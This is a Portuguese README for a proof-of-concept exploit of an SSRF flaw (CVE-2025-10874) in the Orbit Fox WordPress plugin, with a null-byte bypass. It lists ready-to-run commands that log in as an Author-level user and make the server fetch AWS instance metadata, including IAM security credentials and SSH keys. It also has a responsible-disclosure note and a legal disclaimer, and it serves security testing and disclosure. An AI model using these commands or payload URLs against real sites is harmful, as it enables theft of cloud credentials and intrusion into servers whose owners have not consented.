
Demonstra SSRF com injeção de byte nulo para contornar o CVE-2025-10874

Exploit de prova de conceito demonstrando a vulnerabilidade de Server-Side Request Forgery (SSRF) no plugin Orbit Fox para WordPress com bypass de injeção de byte nulo.
Post detalhado no blog: https://ryanmroth.com/articles/orbit-fox-ssrf
| Detalhe | Notas |
|---|
| ID do CVE: | CVE-2025-10874 |
| Plugin Afetado: | Orbit Fox by ThemeIsle |
| Tipo de Vulnerabilidade: | Server-Side Request Forgery (SSRF) (CWE-918) |
| Pontuação CVSS: | 5.5 (média) |
| Privilégios Necessários: | Autor+ (função de Autor do WordPress ou superior) |
| Versão Corrigida | 3.0.2+ |
A funcionalidade de importação MyStock do plugin Orbit Fox contém uma vulnerabilidade de SSRF que permite que usuários autenticados com privilégios de Autor+ façam requisições HTTP arbitrárias a partir do servidor WordPress. A vulnerabilidade existe na ação AJAX handle-request-mystock-import, que não valida e sanitiza adequadamente os parâmetros de URL.
O exploit utiliza um bypass de injeção de byte nulo (%00.txt) para contornar a validação de URL, permitindo acesso a serviços internos de metadados, APIs de provedores de nuvem e outros recursos de rede acessíveis a partir do servidor.
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequestsurllib3# Clonar o repositório
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# Instalar dependências (usando uv)
uv sync
# Ou usando pip
pip install requests urllib3
# Extrair hostname da instância AWS (alvo padrão)
python orbit_fox_poc.py http://target.com -u author -p password123
# Especificar URL de destino SSRF personalizada
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# Extrair credenciais de função IAM
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extrair chave pública SSH
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# Testar sem bypass de byte nulo (falhará em versões corrigidas)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# Ativar saída de depuração para solução de problemas
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
argumentos posicionais:
target URL do WordPress alvo (ex.: http://example.com)
argumentos obrigatórios:
-u, --username Nome de usuário do WordPress (função Autor+ necessária)
-p, --password Senha do WordPress
argumentos opcionais:
-h, --help Mostrar mensagem de ajuda e sair
-s, --ssrf-url URL para solicitar via SSRF
(padrão: http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte Desativar bypass de byte nulo (testar apenas SSRF básico)
--debug Ativar saída de depuração para solução de problemas
%00.txt à URL de destino para contornar a validaçãohandle-request-mystock-importadmin-ajax.php com a ação handle-request-mystock-importEsta vulnerabilidade foi divulgada de forma responsável ao fornecedor e foi corrigida na versão 3.0.2 do Orbit Fox. Esta prova de conceito é fornecida para:
SOMENTE PARA TESTES DE SEGURANÇA AUTORIZADOS
Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Os usuários devem:
O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.
Última Atualização: 2025-10-06